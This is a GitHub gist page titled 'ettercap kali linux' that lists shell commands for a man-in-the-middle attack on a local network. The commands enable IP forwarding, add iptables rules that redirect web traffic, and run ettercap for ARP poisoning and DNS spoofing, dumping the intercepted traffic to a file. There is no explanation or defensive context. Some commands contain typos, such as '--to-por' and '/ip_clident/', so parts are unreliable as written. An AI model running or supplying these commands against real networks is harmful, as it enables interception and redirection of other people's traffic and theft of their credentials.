Skip to content

Instantly share code, notes, and snippets.

@YourFriendCaspian
Forked from boy3vil/ettercap
Created July 11, 2017 06:33
Show Gist options
  • Select an option

  • Save YourFriendCaspian/70c16d2fc57fae2136ec167a8aa817f9 to your computer and use it in GitHub Desktop.

Select an option

Save YourFriendCaspian/70c16d2fc57fae2136ec167a8aa817f9 to your computer and use it in GitHub Desktop.
ettercap kali linux
locate etter.dns
service apache2 start
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000
ettercap -T -q -w dump -i wlan0 -M ARP // // output:
ettercap -T -q -i wlan0 -P dns_spoof -M arp // //
ettercap -T -Q -M arp -P dns_spoof /ip_clident/ //
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 90 -j REDIRECT --to-port 2727
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment